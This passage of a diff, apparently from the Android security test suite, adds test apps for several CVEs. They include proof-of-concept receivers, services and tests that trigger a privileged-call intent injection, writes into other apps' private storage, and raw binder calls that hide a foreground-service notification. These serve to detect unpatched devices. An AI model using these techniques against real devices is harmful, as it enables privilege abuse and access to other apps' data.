+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.provider.Settings;
+import android.telecom.TelecomManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    @Test
+    public void testAppRestrictionsFragment() {
+        try {
+            /* Start the "User Settings" window */
+            Intent intent = new Intent(Settings.ACTION_USER_SETTINGS);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+            Context context = getApplicationContext();
+            context.startActivity(intent);
+            String settingsPkgName =
+                    intent.resolveActivity(context.getPackageManager()).getPackageName();
+            settingsPkgName =
+                    (settingsPkgName == null) ? context.getString(R.string.defaultSettingsPkgName)
+                            : settingsPkgName;
+
+            /*
+             * Click on the text "CVE_2021_39707_RestrictedUser", the restricted user that we added
+             * before
+             */
+            final int uiTimeoutMs = 5000;
+            String textRestrictedUser = context.getString(R.string.textRestrictedUser);
+            BySelector selector = By.text(textRestrictedUser);
+            UiDevice device = UiDevice.getInstance(getInstrumentation());
+            assumeTrue(context.getString(R.string.timedOutMsg, textRestrictedUser),
+                    device.wait(Until.hasObject(selector), uiTimeoutMs));
+            device.findObject(selector).click();
+
+            /* Click on the text "App & content access" */
+            String textAppContentAccess = context.getString(R.string.textAppContentAccess);
+            selector = By.text(textAppContentAccess);
+            assumeTrue(context.getString(R.string.timedOutMsg, textAppContentAccess),
+                    device.wait(Until.hasObject(selector), uiTimeoutMs));
+            device.findObject(selector).click();
+
+            /*
+             * Click on the icon with resource name
+             * "com.android.settings:id/app_restrictions_settings" next to the test app
+             * "CVE-2021-39707"
+             */
+            UiScrollable scrollable = new UiScrollable(new UiSelector());
+            String textTestApp = context.getString(R.string.testAppLabel);
+            scrollable.scrollTextIntoView(textTestApp);
+            selector = By.text(textTestApp);
+            assumeTrue(context.getString(R.string.timedOutMsg, textTestApp),
+                    device.wait(Until.hasObject(selector), uiTimeoutMs));
+            UiObject2 parent = device.findObject(selector).getParent().getParent().getParent();
+            selector = By.res(context.getString(R.string.resTestAppIcon, settingsPkgName));
+            parent.findObject(selector).click();
+
+            /*
+             * Wait on the UI of the dialer app, test fails if the dialer app appears on the screen
+             * which indicates vulnerable behaviour
+             */
+            TelecomManager telecomManager = context.getSystemService(TelecomManager.class);
+            selector = By.pkg(telecomManager.getSystemDialerPackage());
+            assertFalse(context.getString(R.string.testFailMsg),
+                    device.wait(Until.hasObject(selector), uiTimeoutMs));
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java
new file mode 100644
index 0000000..92645c4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocActivity.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import android.app.Activity;
+
+// In order to detect the vulnerability, intent with action "android.intent.action.CALL_PRIVILEGED"
+// must resolve to more than 1 activity, so PocActivity is defined here with this intent to have at
+// least one activity other than the "PrivilegedCallActivity".
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java
new file mode 100644
index 0000000..6d4caae
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/src/android/security/cts/CVE_2021_39707/PocReceiver.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39707;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class PocReceiver extends BroadcastReceiver {
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        try {
+            Bundle result = new Bundle();
+            Intent dialIntent = new Intent();
+            dialIntent.setData(Uri.parse(context.getString(R.string.uriData)));
+            dialIntent.setAction(Intent.ACTION_CALL_PRIVILEGED);
+            result.putParcelable(Intent.EXTRA_RESTRICTIONS_INTENT, dialIntent);
+            setResultExtras(result);
+        } catch (Exception e) {
+            // ignore all exceptions, in the worst case, any exception caught here indicates that
+            // setting extra intent was unsuccessful, so test will pass in the worst case.
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp
new file mode 100644
index 0000000..ade2215
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39795",
+    defaults: [
+        "cts_support_defaults"
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.core",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml
new file mode 100644
index 0000000..cb42aed
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39795">
+    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="28"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39795" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml
new file mode 100644
index 0000000..19ea461
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/res/values/strings.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="filePath">Android/data/CVE-2021-39795-dir/</string>
+    <string name="fileContent">Bypassed by MediaProvider</string>
+    <string name="fileName">CVE-2021-39795-file</string>
+    <string name="external">external</string>
+    <string name="secondFixFailure">Second Fix Patch not applied.
+    Please Apply second Fix Patch!!</string>
+    <string name="fileUtilPkg">com.android.providers.media.util.FileUtils</string>
+    <string name="isDataOrObbPathMethod">isDataOrObbPath</string>
+    <string name="mediaProviderPkg">com.android.providers.media.module</string>
+    <string name="sampleFilePath">/storage/emulated/0/Android/data/foo</string>
+    <string name="failure">Device vulnerable to b/201667614! Any app with
+    MANAGE_EXTERNAL_STORAGE permission can write into other apps private
+    external directory.</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java
new file mode 100644
index 0000000..8d3ff0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39795/src/android/security/cts/CVE_2021_39795/DeviceTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39795;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.content.Context;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.res.Resources;
+import android.provider.MediaStore;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.OutputStream;
+import java.lang.reflect.Method;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    @Test
+    public void testFilePresence() {
+        boolean isSecondPatchAbsent = false;
+        Resources resources = null;
+        OutputStream outputStream = null;
+        try {
+            // Accessing FileUtils.isDataOrObbPath() to detect the presence of second patch of fix.
+            Context context = getApplicationContext();
+            resources = context.getResources();
+            Context mediaProviderContext =
+                    context.createPackageContext(resources.getString(R.string.mediaProviderPkg),
+                            Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY);
+            ClassLoader fileUtilsClassLoader = mediaProviderContext.getClassLoader();
+            Class<?> FileUtilsClass =
+                    fileUtilsClassLoader.loadClass(resources.getString(R.string.fileUtilPkg));
+            Method isDataOrObbPathMethod = FileUtilsClass.getDeclaredMethod(
+                    resources.getString(R.string.isDataOrObbPathMethod), String.class);
+            isDataOrObbPathMethod.setAccessible(true);
+            isSecondPatchAbsent = (boolean) isDataOrObbPathMethod.invoke(this,
+                    resources.getString(R.string.sampleFilePath));
+
+            // Checking write into external directory.
+            ContentValues values = new ContentValues();
+            ContentResolver contentResolver = context.getContentResolver();
+            values.put(MediaStore.MediaColumns.RELATIVE_PATH,
+                    resources.getString(R.string.filePath));
+            values.put(MediaStore.MediaColumns.DISPLAY_NAME,
+                    resources.getString(R.string.fileName));
+            outputStream = contentResolver.openOutputStream(contentResolver.insert(
+                    MediaStore.Files.getContentUri(resources.getString(R.string.external)),
+                    values));
+            outputStream.write(resources.getString(R.string.fileContent).getBytes());
+
+            /*
+             * If control flow has reached till this point it means no exception anywhere and fix is
+             * not present and it is vulnerable to the bug.
+             */
+            fail(resources.getString(R.string.failure));
+        } catch (IllegalArgumentException e) {
+            // First fix patch is applied, ignore this exception.
+            if (isSecondPatchAbsent) {
+                // Fail the test as Latest Fix Patch is not applied
+                fail(resources.getString(R.string.secondFixFailure));
+            }
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                outputStream.close();
+            } catch (Exception e) {
+                // ignore all exceptions
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp
new file mode 100644
index 0000000..13a86e3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39808",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+    ],
+    platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml
new file mode 100644
index 0000000..0394d6c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39808">
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <application>
+        <service
+            android:name=".PocService"
+            android:exported="true">
+        </service>
+    </application>
+
+    <instrumentation
+            android:name="androidx.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.security.cts.CVE_2021_39808" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml
new file mode 100644
index 0000000..8e7d104
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/integers.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <integer name="assumptionFailure">4</integer>
+    <integer name="fail">2</integer>
+    <integer name="falseVal">-1</integer>
+    <integer name="height">50</integer>
+    <integer name="pass">3</integer>
+    <integer name="setFlag">1</integer>
+    <integer name="timeoutMs">10000</integer>
+    <integer name="value">0</integer>
+    <integer name="width">50</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml
new file mode 100644
index 0000000..f4fb741
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/res/values/strings.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <string name="assumptionFailure">Assumption failure occurred</string>
+    <string name="errorNoMethodFound">No method found</string>
+    <string name="errorTargetMethodNotFound">Target method not found</string>
+    <string name="flag">flag</string>
+    <string name="functionName">createNotificationChannelGroups</string>
+    <string name="group">group</string>
+    <string name="groupId">groupId</string>
+    <string name="illegalCode">Illegal Code</string>
+    <string name="messageKey">MESSAGE</string>
+    <string name="resultKey">RESULT</string>
+    <string name="message">message</string>
+    <string name="notification">notification</string>
+    <string name="passMessage">Passed</string>
+    <string name="sharedPreference">CVE_2021_39808</string>
+    <string name="vulnerableMessage">
+    Vulnerable to b/209966086!! Foreground service ran without user notification
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java
new file mode 100644
index 0000000..a32638d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/DeviceTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39808;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    @Test
+    public void testService() {
+        try {
+            Context context = getApplicationContext();
+            Intent intent = new Intent(context, PocService.class);
+            intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+            context.startService(intent);
+            SharedPreferences sh = context.getSharedPreferences(
+                    context.getString(R.string.sharedPreference),
+                    Context.MODE_APPEND);
+            final Semaphore preferenceChanged = new Semaphore(0);
+            OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+                @Override
+                public void onSharedPreferenceChanged(
+                        SharedPreferences sharedPreferences, String key) {
+                    if (key.equals(context.getString(R.string.resultKey))) {
+                        if (sharedPreferences.getInt(key, 0) == context
+                                .getResources().getInteger(R.integer.pass)) {
+                            preferenceChanged.release();
+                        }
+                    }
+                }
+            };
+            sh.registerOnSharedPreferenceChangeListener(listener);
+
+            preferenceChanged.tryAcquire(
+                    context.getResources().getInteger(R.integer.timeoutMs),
+                    TimeUnit.MILLISECONDS);
+
+            int result = sh.getInt(context.getString(R.string.resultKey),
+                    context.getResources().getInteger(R.integer.pass));
+            String message = sh.getString(context.getString(R.string.messageKey),
+                    context.getString(R.string.passMessage));
+            assumeTrue(message, result != context.getResources()
+                    .getInteger(R.integer.assumptionFailure));
+            assertNotEquals(message, result,
+                    context.getResources().getInteger(R.integer.fail));
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java
new file mode 100644
index 0000000..73b0df4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39808/src/android/security/cts/CVE_2021_39808/PocService.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39808;
+
+import android.app.INotificationManager;
+import android.app.NotificationChannelGroup;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.ServiceManager;
+import android.text.TextUtils;
+
+import java.lang.reflect.Method;
+
+public class PocService extends Service {
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onCreate() {
+        try {
+            super.onCreate();
+            setResult(getResources().getInteger(R.integer.fail),
+                    getResources().getString(R.string.vulnerableMessage));
+            createNotificationGroup();
+        } catch (Exception e) {
+            setResult(getResources().getInteger(R.integer.assumptionFailure),
+                    e.getMessage());
+        }
+    }
+
+    void createNotificationGroup() throws Exception {
+        IBinder binder = ServiceManager
+                .getService(getResources().getString(R.string.notification));
+        int serviceId = getTransactionCode(
+                getResources().getString(R.string.functionName));
+        if (serviceId == -1) {
+            setResult(getResources().getInteger(R.integer.assumptionFailure),
+                    getString(R.string.errorNoMethodFound));
+            return;
+        } else if (serviceId == -2) {
+            setResult(getResources().getInteger(R.integer.assumptionFailure),
+                    getString(R.string.errorTargetMethodNotFound));
+            return;
+        }
+        createNotificationGroup(binder, serviceId);
+        NotificationManager notificationManager = (NotificationManager) getSystemService(
+                NOTIFICATION_SERVICE);
+        NotificationChannelGroup notificationChannelGroup = notificationManager
+                .getNotificationChannelGroup(
+                        getResources().getString(R.string.groupId));
+        if (!notificationChannelGroup.isBlocked()) {
+            setResult(getResources().getInteger(R.integer.pass),
+                    getResources().getString(R.string.passMessage));
+        }
+    }
+
+    int getTransactionCode(String methodName) {
+        int txCode = IBinder.FIRST_CALL_TRANSACTION;
+        String txName = INotificationManager.Stub
+                .getDefaultTransactionName(txCode);
+        if (txName == null) {
+            return -1;
+        }
+        while (txName != null && txCode <= IBinder.LAST_CALL_TRANSACTION) {
+            txName = INotificationManager.Stub
+                    .getDefaultTransactionName(++txCode);
+            if (txName.equals(methodName)) {
+                break;
+            }
+        }
+        if (txName == null) {
+            return -2;
+        }
+        return txCode;
+    }
+
+    void createNotificationGroup(IBinder binder, int code) throws Exception {
+        String description = binder.getInterfaceDescriptor();
+        Parcel data = Parcel.obtain();
+        Parcel reply = Parcel.obtain();
+        data.writeInterfaceToken(description);
+        data.writeString(this.getPackageName());
+        data.writeInt(getResources().getInteger(R.integer.setFlag));
+        data.writeInt(getResources().getInteger(R.integer.setFlag));
+        data.writeString(NotificationChannelGroup.class.getName());
+        data.writeInt(getResources().getInteger(R.integer.setFlag));
+        data.writeByte((byte) getResources().getInteger(R.integer.setFlag));
+        data.writeString(getResources().getString(R.string.groupId));
+        TextUtils.writeToParcel(getResources().getString(R.string.group), data,
+                getResources().getInteger(R.integer.setFlag));
+        data.writeByte((byte) getResources().getInteger(R.integer.value));
+        data.writeInt(getResources().getInteger(R.integer.falseVal));
+        data.writeInt(getResources().getInteger(R.integer.setFlag));
+        boolean val = (boolean) binder.transact(code, data, reply,
+                getResources().getInteger(R.integer.value));
+        if (!val) {
+            setResult(getResources().getInteger(R.integer.assumptionFailure),
+                    getResources().getString(R.string.illegalCode));
+        }
+        reply.readException();
+    }
+
+    private void setResult(int result, String message) {
+        try {
+            SharedPreferences sh = getSharedPreferences(
+                    getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+            SharedPreferences.Editor edit = sh.edit();
+            edit.putInt(getString(R.string.resultKey), result);
+            edit.putString(getString(R.string.messageKey), message);
+            edit.commit();
+        } catch (Exception e) {
+            // ignore exception
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
index 9f7ac84..731eac4 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/AndroidManifest.xml
@@ -23,7 +23,7 @@
         android:label="CVE-2022-20007-Attacker"
         android:supportsRtl="true">
         <activity
-            android:name=".PocActivity"
+            android:name=".PocAttackerActivity"
             android:exported="true"
             android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen">
         </activity>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java
similarity index 95%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
rename to hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java
index ad87ea7..988517e 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/attacker-app/src/android/security/cts/CVE_2022_20007_attacker/PocAttackerActivity.java
@@ -20,7 +20,7 @@
 import android.os.Bundle;
 import android.view.WindowManager;
 
-public class PocActivity extends Activity {
+public class PocAttackerActivity extends Activity {
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp
new file mode 100644
index 0000000..98d5962
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2022-20007-Second",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml
new file mode 100644
index 0000000..7880b0f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
